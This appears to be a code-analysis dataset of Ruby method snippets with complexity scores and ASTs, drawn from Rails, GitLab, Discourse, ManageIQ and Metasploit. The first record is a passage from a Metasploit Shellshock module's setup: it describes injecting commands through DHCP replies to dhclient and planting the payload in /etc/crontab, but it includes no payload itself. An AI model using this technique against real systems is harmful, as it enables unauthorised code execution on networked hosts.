'DefaultTarget' => 0,\n        'DisclosureDate' => '2014-09-24',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION],\n          'AKA' => ['Shellshock']\n        }\n      )\n    )\n\n    deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')\n\n    self.needs_cleanup = true\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Dhclient Bash Environment Variable Injection (Shellshock)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits the Shellshock vulnerability, a flaw in how the Bash shell\\n\"]},{\"type\":\"str\",\"children\":[\"          handles external environment variables. This module targets dhclient by responding\\n\"]},{\"type\":\"str\",\"children\":[\"          to DHCP requests with a malicious hostname, domainname, and URL which are then\\n\"]},{\"type\":\"str\",\"children\":[\"          passed to the configuration scripts as environment variables, resulting in code\\n\"]},{\"type\":\"str\",\"children\":[\"          execution. Due to length restrictions and the unusual networking scenario at the\\n\"]},{\"type\":\"str\",\"children\":[\"          time of exploitation, this module achieves code execution by writing the payload\\n\"]},{\"type\":\"str\",\"children\":[\"          into /etc/crontab and then cleaning it up after a session is created.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Stephane Chazelas\"]},{\"type\":\"str\",\"children\":[\"egypt\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-6271\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CWE\"]},{\"type\":\"str\",\"children\":[\"94\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"112004\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"34765\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/oss-sec/2014/q3/649\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic telnet ruby\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Target\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-09-24\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AKA\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Shellshock\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"DOMAINNAME\"]},{\"type\":\"str\",\"children\":[\"HOSTNAME\"]},{\"type\":\"str\",\"children\":[\"URL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"needs_cleanup=\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"5dec6a16-d5dc-4987-81ca-b4627e971a58"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/exportable.rb","start_line":64,"raw_source":"def authorized_association_records(key, current_user, options)\n    records = readable_records(key, current_user: current_user)\n    empty_assoc = has_many_association?(key) ? [] : nil\n    return empty_assoc unless records.present?\n\n    assoc_opts = association_options(key, options)&.dig(key)\n    records.as_json(assoc_opts)\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized_association_records\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"send\",\"children\":[null,\"readable_records\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"empty_assoc\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_many_association?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"array\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"empty_assoc\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assoc_opts\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association_options\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"dig\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"as_json\",{\"type\":\"lvar\",\"children\":[\"assoc_opts\"]}]}]}]}","id":"4b194510-2772-4833-8b95-05d0ce1ec8a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_export.rb","start_line":174,"raw_source":"def marshalize(obj)\n    case obj\n    when String\n      obj.strip\n    when TrueClass, FalseClass, Float, Integer, Time\n      obj.to_s.strip\n    when BigDecimal\n      obj.to_s(\"F\")\n    when NilClass\n      \"NULL\"\n    else\n      [Marshal.dump(obj)].pack(\"m\").gsub(/\\s+/,\"\")\n    end\n  end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"marshalize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"obj\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"strip\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrueClass\"]},{\"type\":\"const\",\"children\":[null,\"FalseClass\"]},{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"to_s\"]},\"strip\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BigDecimal\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"to_s\",{\"type\":\"str\",\"children\":[\"F\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NilClass\"]},{\"type\":\"str\",\"children\":[\"NULL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"obj\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"m\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\s+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"dc27a575-8417-4ab8-ad8e-b7260c79c9d0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/dialect.rb","start_line":39,"raw_source":"def initialize(generic_prompt, llm_model, opts: {})\n          @prompt = generic_prompt\n          @opts = opts\n          @llm_model = llm_model\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"generic_prompt\"]},{\"type\":\"arg\",\"children\":[\"llm_model\"]},{\"type\":\"kwoptarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@prompt\",{\"type\":\"lvar\",\"children\":[\"generic_prompt\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@llm_model\",{\"type\":\"lvar\",\"children\":[\"llm_model\"]}]}]}]}","id":"ab17a7ff-63fd-4ac7-bfbb-ec4500d20b86"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/expiry_hook_test.rb","start_line":42,"raw_source":"def reference_cached_association\n      @reference_assocaition ||= Cached::Reference::HasMany.new(\n        :deeply_associated_records,\n        reflection: reflect(AssociatedRecord, :deeply_associated_records),\n      )\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reference_cached_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reference_assocaition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Cached\"]},\"Reference\"]},\"HasMany\"]},\"new\",{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reflection\"]},{\"type\":\"send\",\"children\":[null,\"reflect\",{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},{\"type\":\"sym\",\"children\":[\"deeply_associated_records\"]}]}]}]}]}]}]}","id":"befe08a5-13ae-48d9-bd17-9ac8f89008ba"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/mssql.rb","start_line":227,"raw_source":"def mssql_send_recv(req, timeout=15, check_status = true)\n    @mssql_client.mssql_send_recv(req, timeout, check_status)\n  end","complexity_score":3.25,"ast_json":"{\"type\":\"def\",\"children\":[\"mssql_send_recv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"req\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"optarg\",\"children\":[\"check_status\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mssql_client\"]},\"mssql_send_recv\",{\"type\":\"lvar\",\"children\":[\"req\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]},{\"type\":\"lvar\",\"children\":[\"check_status\"]}]}]}","id":"7d531d47-e298-4155-90bd-80f6e7dcbb0d"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database.rb","start_line":55,"raw_source":"def self.format_boolean(value)\n      return nil if value.nil?\n      value ? 1 : 0\n    end","complexity_score":3.28,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"format_boolean\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"24d30cae-a1e1-471a-a3ca-b02603a76bc3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service.rb","start_line":125,"raw_source":"def custom_actions\n    service_template ? service_template.custom_actions(self) : custom_service_actions(self)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_template\"]},\"custom_actions\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"custom_service_actions\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"8e82f968-c633-4444-a786-0c47b69afe1d"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/aggregation_group.rb","start_line":34,"raw_source":"def initialize(group_key, count, query:, current_user:)\n        @count = count\n        @query = query\n\n        @links =\n          if group_key.is_a?(Array)\n            group_key.map do |element|\n              {\n                href: ::API::V3::Utilities::ResourceLinkGenerator.make_link(element),\n                title: element.to_s\n              }\n            end\n          else\n            [\n              {\n                href: ::API::V3::Utilities::ResourceLinkGenerator.make_link(group_key)\n              }\n            ]\n          end\n\n        super(group_key, current_user:)\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_key\"]},{\"type\":\"arg\",\"children\":[\"count\"]},{\"type\":\"kwarg\",\"children\":[\"query\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@count\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@links\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_key\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_key\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Utilities\"]},\"ResourceLinkGenerator\"]},\"make_link\",{\"type\":\"lvar\",\"children\":[\"element\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"to_s\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Utilities\"]},\"ResourceLinkGenerator\"]},\"make_link\",{\"type\":\"lvar\",\"children\":[\"group_key\"]}]}]}]}]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}]}","id":"3e89dfb3-18e9-4cf2-abf0-3de8d7c22ae4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper.rb","start_line":21,"raw_source":"def default_primary_key?(column)\n            schema_type(column) == :integer\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_primary_key?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_type\",{\"type\":\"lvar\",\"children\":[\"column\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}","id":"ad03d3a3-38f7-4629-aa9f-a703cc26e6a6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage.rb","start_line":188,"raw_source":"def self.scan_queue(miq_task, queue_limit = 1)\n    queued = 0\n    unprocessed = scan_storages_unprocessed(miq_task)\n    loop do\n      storage_id = unprocessed.shift\n      break if storage_id.nil?\n\n      storage = Storage.find_by(:id => storage_id.to_i)\n      if storage.nil?\n        _log.warn(\"Storage with ID: [#{storage_id}] cannot be found - removing from target list\")\n        miq_task.context_data[:targets] = miq_task.context_data[:targets].reject { |sid| sid == storage_id }\n        next\n      end\n\n      begin\n        qitem = storage.scan_queue_item(miq_task.id)\n        miq_task.context_data[:pending][storage_id] = qitem.id\n        queued += 1\n        break if queued >= queue_limit\n      rescue => err\n        _log.warn(\"Storage name: [#{storage.name}], id: [#{storage.id}]: rejected for scan because <#{err.message}> - removing from target list\")\n        miq_task.context_data[:targets] = miq_task.context_data[:targets].reject { |sid| sid == storage_id }\n        next\n      end\n    end\n    miq_task.message = scan_update_message(miq_task)\n    miq_task.save!\n  end","complexity_score":69.55,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scan_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"miq_task\"]},{\"type\":\"optarg\",\"children\":[\"queue_limit\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queued\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"unprocessed\",{\"type\":\"send\",\"children\":[null,\"scan_storages_unprocessed\",{\"type\":\"lvar\",\"children\":[\"miq_task\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"storage_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unprocessed\"]},\"shift\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_id\"]},\"nil?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"storage\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_id\"]},\"to_i\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Storage with ID: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage_id\"]}]},{\"type\":\"str\",\"children\":[\"] cannot be found - removing from target list\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"targets\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"storage_id\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"qitem\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"scan_queue_item\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pending\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"storage_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"qitem\"]},\"id\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"queued\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"queued\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"queue_limit\"]}]},{\"type\":\"break\",\"children\":[]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Storage name: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"], id: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"]: rejected for scan because <\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"> - removing from target list\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"targets\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"targets\"]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"storage_id\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]}]},null]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"message=\",{\"type\":\"send\",\"children\":[null,\"scan_update_message\",{\"type\":\"lvar\",\"children\":[\"miq_task\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"miq_task\"]},\"save!\"]}]}]}","id":"b13f9186-83ab-417b-bdcd-823c7ba2c667"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/harbor_helper.rb","start_line":20,"raw_source":"def harbor_tag_url(container, *args)\n    if container.is_a?(Project)\n      project_harbor_repository_artifact_tags_path(container, *args)\n    else\n      group_harbor_repository_artifact_tags_path(container, *args)\n    end\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"harbor_tag_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]},{\"type\":\"send\",\"children\":[null,\"project_harbor_repository_artifact_tags_path\",{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[null,\"group_harbor_repository_artifact_tags_path\",{\"type\":\"lvar\",\"children\":[\"container\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"2e183613-dfc5-4a1d-8c79-43d5daeff574"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_connect_base.rb","start_line":152,"raw_source":"def to_json\n    self.to_h.to_json\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_h\"]},\"to_json\"]}]}","id":"6b3189dd-8e41-4d25-9ef8-fdbab09238d4"}
